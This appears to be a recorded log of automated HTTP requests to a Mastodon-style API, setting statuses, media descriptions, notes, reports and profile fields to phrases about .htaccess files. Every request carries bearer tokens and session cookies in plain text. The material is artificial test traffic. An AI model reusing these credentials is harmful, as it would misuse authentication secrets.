"Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NDQuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--5c5457e36301d33acbca267fbfb8faddac5c6cff; _mastodon_session=I6deLP1IFoK8qFgwDtD4vaOwMVPbhUOxEYsyE3SMSYGskdw%2FLankj9nIyr4zwMmJqKtcmU8RMzG%2BvXp%2BliuWVX7t1%2FXR5MLNoHdZpOKP6pV%2FYtsglEeKHISTtGlOVSDgv%2F3c6QlUr49y2s1LkTYug%2Fuy7n1F5VUTTkYFAhzGPwgzO7Ld3HHO0PH%2FEor%2BYYXDKcZWJG2wAOJPltmB0TJNT32GUaFOUhTBjzVvxuOHw5pFa%2B620RWHHoSBMNfbdrCyZy6gEOuj64jOjyiWL9Hzp1pNNMxs7o1LKsxuHQhLHbUH8ourqvKs67FCJac6gUtRjrmsSDSm5jfHH8BGerPasvc0sI%2BO2RXw1Wtc%2BpnLdfS6jxMKKMAHpiQ8e3NrQeZnH2RZKKD9awtv--Q0Ng1e0B9gxvUXjn--Kr5l3Ji5CTluLty6zPgU%2BA%3D%3D"], "body": "{\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589931233188084", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 69", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Udiuy4DCQF1usihPGfvcQfzXXO5XTwJ3cMfUcQYwwrT_bmiM7R8K6d_e2hWIzhute_KzP_CMvlx3F_a6mjfwXg", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/home", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDU6NTMuOTc3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--a5b8f8eb1baa5b18bf81648b1b3822398f8720ba; _mastodon_session=zfGT1no5PSmOXNYN8x9tIEmGvyW1eZUVb%2FVirtpLvZJhuUVKBM%2Fa7coqbKKMQayGUU8cHLjnfjnoikdWsb%2F4dUYjbqHbpvdtAwh8YzG%2FDJRJ32wljvU%2FLIKPPZNTzfisU8k9Aps5Yvc5I8IujKvfZ2voYR4jRJQV5xYksmWPr3BqBJCbj5WA2s83e8zSBpG7iRXEZX%2FzB3jpXIVeS9vO%2B0C2xIIk6EsnYO9Ooj2o3pqvwUD6qu5qng4tROhY7r7AKQFhyfHIxNHyUv%2BGDZd1hwNBN6R7Zj7GvaFR54IU3U%2FgI3%2F3aSuIlso9Wxuczfhf3k%2FXocH7T%2BjhrvsiOfNlocKx042ds5qt2blSKUSVWDKMxuk1CdUqmwjbRbEUzq%2BusD%2BAliJuZWf1--%2BFwk%2BCtBy8QhW0VO--AEC8CgwvQV2bsvj8QgLVIA%3D%3D"], "body": "{\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825083661106", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 378", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 052MO-bxyrMKQNDcuQtGhfzzF9WgRpHIQmixxWfiqBp9K0p8iyyAB7ssIoYoPoFpe9b4BAeFLeNFuJMO--Wa8A", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: 31ebb2aa-b85a-437a-b035-4a4d9dbef767", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825083661106", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MDUuNTc0WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4e7f64070c30b274fde00ca0fba793c887a57025; _mastodon_session=vTiMcilvkngdiNyDnEVuGxqnaW74Qwfj74wyX843weyZa3P1dU6rPe1NAt7Q%2Fulf4ADiXy%2FVKZAtRU4fv%2FttkARyOb4s0Gw4%2FhageSOX%2F7BSz28E4iilHtEf2RYI6Z6Zep96NsySm6gSbOKSDGEnwP78Wu7allUqFjXupqkDq5Pser1GDJ%2BWjTDMgVSgVyIK27NREACuro%2FHgHrrSaboo6zK4pJL3kdsG28dxxlIPtFYao5CcL4Bgt%2FkJA6QSukZMRbGy2XO9OMf1bzg0efCpdkTt12bza9AYEbZofhatTPg0pwuSI7j4iLaaPn03GZ2xQV0xnVyO1cV%2BYQlU3HndXuZo0nHvC%2BhwBv%2BZLoOMRrhHxhE6g%2FxMxkul9shsh1URWAB5GkcqzSp--Irm3mg66BF7I8HOE--WH5SrwCEG8WJa7MIU8S85Q%3D%3D"], "body": "{\"status\":\"A picture from today's walk 0\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589824807968974\"],\"media_attributes\":[{\"id\":\"117589824807968974\",\"description\":\"python3 and powershell scripts that edit .htaccess\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/statuses/117589825712738194", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 359", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: jtIwScCo29MLFEZm9cD3EbxhPWXgyHrwxlVOGDgKwFUgZPYOrXWRZ7p4tDxk9TD9O0TStEcLxtvBhWzTpA3yvw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Idempotency-Key: f670050f-29dd-4c8e-850a-ffed28fd9644", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "Accept-Language: en-US", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@admin/117589825712738194", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MTguNjUwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fe685128ad0ceaa4d61dad71bac463f3bd144c41; _mastodon_session=ih%2B%2FTU%2BlVOgsdXlElykmwasz9rFq3Kf1OohI%2BF0NlT2eCS73Q%2FBorEHIM5SNJJxAYlejpgCTb7VrtEZCNzptofqKrulLDrrT1lVZ2IyyYHLMIcRwUT7vYLF5ixzBdM6qi1JYjwG6dZfGC4WROLrHM0td%2FpkXhaVCw883CdCo59kjoJuX%2FvGqymgIXIe9i9rTKM%2B0gbA4c6PLLrUUi9FdefkLsefQT8Tt6yLeMnADkl3s%2BEuUE30CUAnSefYLaYqFYP4ojY2ZWd4mbN2cZT1CIcTU%2BF7M6jAgRJnnLQP80iujxeVXgYFOWtWntsieAUt%2FvpmtbCJsYFv%2FCRHBPQpIs1FXd%2BnZcrZ0xNMCKSUdmdgIoF8v7AdzSAS3f2g%2FMogQPNp2U9kinKbL--pEQ%2FdnqZ1JXUZV9d--RPwXXw%2Fs4t%2BzB7ZFlTg%2B7A%3D%3D"], "body": "{\"status\":\"A picture from today's walk 1\",\"spoiler_text\":\"\",\"in_reply_to_id\":null,\"media_ids\":[\"117589825440074314\"],\"media_attributes\":[{\"id\":\"117589825440074314\",\"description\":\"ls -la shows the .htaccess file\",\"focus\":\"0.00,0.00\"}],\"sensitive\":false,\"visibility\":\"public\",\"poll\":null,\"language\":\"en\",\"quoted_status_id\":null,\"quote_approval_policy\":\"public\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 64", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: BeIjgPb_Ki2P5nZ3rbFiObczGHXBLKj-9Shcx6sMZNqrVOXHmyJgmT6KhC08hKXVMBb3pGbvFNXy-H4MNwtWMA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzEuNzgwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--4c21ae4b488fa2497eeefd124ccc3ece1492f8b0; _mastodon_session=If5JeBG3TPA%2F8yN0NBk57vmu%2Be1GGiDsjRTdAD3QpoRk1n6%2BZC%2B10TInvEpKFH3ueb0mSyguaEgsOqcTIK0ATj50wX%2F2cLesedXd%2FoRqIhRSH8zf3nMmLG9zwsNI0u%2BszfJaQnL2Bt%2B5uBSJVNaaaO7KPtFlNmMh%2BGooI7j4qpO7z%2FdYeAaDvdhuvHEJWbeT%2FVuNa5lTrqophaXgXwEzLcdpdZwlz8iqLpz%2BLMBovNzNYVDIPC8KwubfqujKFz8DVpY%2FtoefQNS5ILphWCcrCGv7qxLcdmnJpARqRd%2B2SMsGOKpPqlJ0uamGe4t9JETSH87fsegRzImePo6%2FV0nkt%2FoXqxdYTssK7%2FrN60FFYQR3NEShZWPRIRADVFmk6r4XrFcXBEAYQBYB--1g3s7naZgr3V3LwF--ZcKbAHneB%2B8ngpSp9I0gJA%3D%3D"], "body": "{\"comment\":\"python3 and powershell scripts that edit .htaccess\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts/117589807710501347/note", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 45", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: Q0W3UzYCclJMxooigAQ1Ogxqhygj0cU1B55S-X0Mc3nt83EUW9845v2qeHgRMfLWi09o-YQSeR4ATnAy4QtBkw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6MzkuMzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--dea80b4af1e12f57030bae46eb78f197314cd5d1; _mastodon_session=LpSTuQUFbXringpNg0Yhjt0jNhGqECl43SvetnXjkjKzrpH4HpJSHHhgy%2BjfgKRF%2B%2FlEZsxSTvd2gbg9FVppVkLSUdUVP7%2FC5bix%2FebFwVo42hEQpEq5D0%2BlaZaaR7n8jORXjRTwyRUMEk1u%2BRWBI0BCT20Q00HP%2FMLtjOBIAR6FleI0Yiyo3EoCjfJswTADfkyju3GvIdrihGFUyVUKDlqA2K2tH%2FJn%2BM10piBWdllpChX6CkPvoNRe7My6FAjeAgvEhYhbqfj9%2F24zzblHdVKkP8kLjbOIS2y%2Bbyd4RIIjqOEoZu6CPUhciDp5EBiR1x4XOHkYWolzP634b1hCc5LPkEPetO10XBhPAo6oYygoEJrl8xlwFnl%2BPsLhKVn%2FrIe3meoq3ZAX--1ZcqZOh3vKoYOWKz--Zi0sY%2FcyVxR371oJkFnePQ%3D%3D"], "body": "{\"comment\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 186", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: 275A73Lk4LJJeS7bh0WGgbuhlAZAKS-SSRMtwokla911CIaoHzmqBvgV3IEWcEFtPIR71-fqk7lOww8JFSJZNw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDY6NDguOTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--72e68eb7a2617104fbea4981c9979cd76732c3d3; _mastodon_session=Ic%2BkjKoSTxUA5fIt439hMLfBevHqqFuwatrwN9lmrj1BnIekxESYP5bxc6zKF4mL8I1fwTk2QxRPFm1CVvfxNxQIOQIEWLH%2BYvos4gQzL%2FePyC3kwuSKRTGI9wBCuiEsIyGGRqClv9NkkGJC5AbJmOd60KZUtVrRcfmPcN6qzrZBPb2KiveQJW9NsvoSojPxsUjLFGWtYuKBEURUHHHqa9Cy3RkpQL8dfJ1V2sUl43eYrRT9hCAHEpGl5LfvuSYe0tfR9iIE1wVErROBWDejN2Y%2BbuKtZtJPiI5cKYuegYnXahql%2FUrSj9SmCqXgsIrlp4WsjcaYO4fQIR5pzAAGtD%2FH5KE96uoDYwXwK8SQbo0D%2Byn1TzIp8ZqvWO9NWDv5Jj8BGXgO0nhD--cWePZPKZv7fdCsxv--SUK2ofhv97JsULvnXyDd6g%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"python3 and powershell scripts that edit .htaccess\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 167", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cCZYMk7iDpaFtzXcTGWQd-_4BLRa0ROooXWty2YixXnekJ51Iz9EIjTbx4bdUFebaN3rZf0Sr4OmpY8A-iX3kw", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MDAuMDIwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--879f36b839912f24c82adea8c7d08101060660de; _mastodon_session=usCuCTufLcJ%2Bs67xaGkrTFVAOkYQrkjR3B%2BLma2Mi8FSUemPzcrBQCKG5OfGXYCbD9jsXlCjNpKb96EEgOMBC9r4w5A%2Fv6qG%2BT9euFxwEII1pWlgb%2FMh9fhKq4R22v0u4DvTv1ZvrogrXKitVwuyXhY46PKz%2BhCyfuWWuqONAXuPG%2F6FZVlojc%2F6lV6LyFaTA1IONytuiLKQwDnBXm4wps5jc9%2B9HvUdWlYvoe6upCdKrOut1CYHOrTvmFHeeDfyqNCh6gofDUUjaJg2UHl4AfwxDZWDdSc24THFs1dX9m3qD2iq2pDJluiHlrdytjrFQ3il%2FcGcuQ5AuMncS7xN%2B5Vpqr3kY14ZBR%2BT1zjuaGTVRg00L5%2FVCfjebvfG0qN11cpOQ6U8XGXo--d%2BTV%2F6S90fWJ%2FiEc--kT2nBPBmIauEk706faYvIg%3D%3D"], "body": "{\"account_id\":\"117589807710501347\",\"status_ids\":[],\"forward_to_domains\":[],\"comment\":\"ls -la shows the .htaccess file\",\"forward\":false,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "POST", "target": "/api/v1/reports", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 182", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: NS4mJozBhgwGiOnauvvlh1MOcXRoRzqm1Rbsqy1cogdPui41Xce0gkX6PHn2TNNblADPQ-Qr-nyvCXv6EXLgcg", "Authorization: Bearer Wqvvk2G9vzWy-EFC3yd1q18PX6dd4tlBqXUW49355xk", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/@bob@remote.example", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqUTVPVGcyWmpNeE1HRTRZbUppWmpBNVptWmxPREJtWWpOak5XTXpOakUwSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDQ6MTc6NDEuMzAxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6928064bccde57356bbafe881a7f9fa79375c676; _mastodon_session=A04wdDjjZex1xPOJLeLxjFXxD0cxov9AbH3wgjbJLeNsLawcjWK4s3F2OgR0bOLDKJVoPi5OjfPXy3iyW9GT0x%2FXs0VDrGybzFJ1ExCnGwty5D3OsSNZ72qIp2xO8a8ZnfTksV85VbZUPC2Qh7EAGcD2u7S6XjRYr7mwLS9xi6rxRHIxBYwTUXHnFYvpueiZhHde9RH8wp3iOTZFp5WrZHAcX6u4%2FpW2UxmPH8F4535M%2FzOZflTurQf6O%2Bjo5FHItmjYp9AbytsO2Wfk4L2ZBL2ajoHJRb%2Fa6OISisN%2BlaZaTaKlUHZ1sNpD%2B1BBZRwARfvtmSuNzoCvshUnZcTOpY%2BX87p%2Bj%2BhFThEIP2%2FBtsOTJ9TfNTh6WwxIDPfr7v6OunCbXcXQ8tKM--PD%2F2fY1YAsaSYrjc--y6q8zvscHV1Zfmvb7Xhq0w%3D%3D"], "body": "{\"account_id\":\"117590200831999305\",\"status_ids\":[],\"forward_to_domains\":[\"remote.example\"],\"comment\":\"Sends the same link to everyone\",\"forward\":true,\"category\":\"spam\",\"rule_ids\":[]}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 50", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=PpO3riJn0wrhzXdm0n9sD3WrcWOLBOqU2Uw1NYfXGp%2F%2F6DB5kC3tVwXkNcOpokF7iybZfrq%2BPSzSWohyKC2tw1TvBVJ%2Fz3wy9MgS%2BDm819NxHZTgIA%2F8zSQYZ8aqbeOGJOvzQeupysJRu%2BsfaRldkXIA7ZMtJF2fsDrmGADVz%2ByI0Jwnp9SPT67LyKAwYuzZ81%2F%2BMOHFXfs3YpFt%2Bn%2FB2PMrD3zfD%2FQAdfzup3zO46tdeXpux3yhS%2FhAWLTMI1FaGUrakvRWO5GkQKAcCBRaCArfotffjBY9TRJ0birKb%2BD%2BcJ9ZuoJNBdkivnw32MQYjzENZTl3Yg9jYb0xDDTpz9mmfILCqxtCIx2Le1HQ1QWzoagiNry5rNAWOtSeZrLoTZbFNr6fqP5L--Jg1q%2B36dKbXHumxo--q5U9LM%2FezBlMMh4Nzs%2BgiA%3D%3D"], "body": "{\"display_name\":\"ls -la shows the .htaccess file\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 61", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; _mastodon_session=QHqOTIV3gJO1hKRsR1ikIZvF2Dx%2F4%2B8yeatocM9k9tt%2BtysDvdNJSaaJtUwtTpHc2KDb%2B8xoQn71tiJLjulcFjx5w%2B7lT2UVBt9%2FBMHIhhHJIyuLxzVAgAH0UbtrE2PUslkhVimXolivaM3OwtfUwOfFHoQ486mNwWDSt%2BEixCZB7%2Fe%2B4fjf65P0J1MMCe2Vi%2FGghCaXSQ8jtIEbDPThK1cvAIgvX%2F7FFNZ%2FkOthRHgwtPhC%2BGsUZ0vYNpwgN7V7DUteJYvLCzPzqcMP5%2BLJmG5oguySusTCUO3MQBFthwuvmTXUCXxilitHQDkSaQDxH376CZizYCd0xz6SCv8y4JxmfCH8TUrLoQLnekvZex0wSCZdkWi8MK9DmpxNqgOWUiwgqNCX13i%2B--n01RHiqXzIJJ4QG2--EzrkYhOWQPnW7s54eqenTQ%3D%3D"], "body": "{\"note\":\"python3 and powershell scripts that edit .htaccess\"}"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 42", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: QNHe5Wuvty8VRmek8kGik0MiVw6FDjFjzsqLkFB9_AjuZxiiBnL9m6Qqlf5jdGV_xAe43yLNjUjJGqlbzHrO4g", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", "Sec-Fetch-Dest: empty", "Referer: https://example.com/profile/edit", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDM6MDc6MjEuNzcxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--fc8aadc12d5620814d427a7d649b2b589ca249e3; 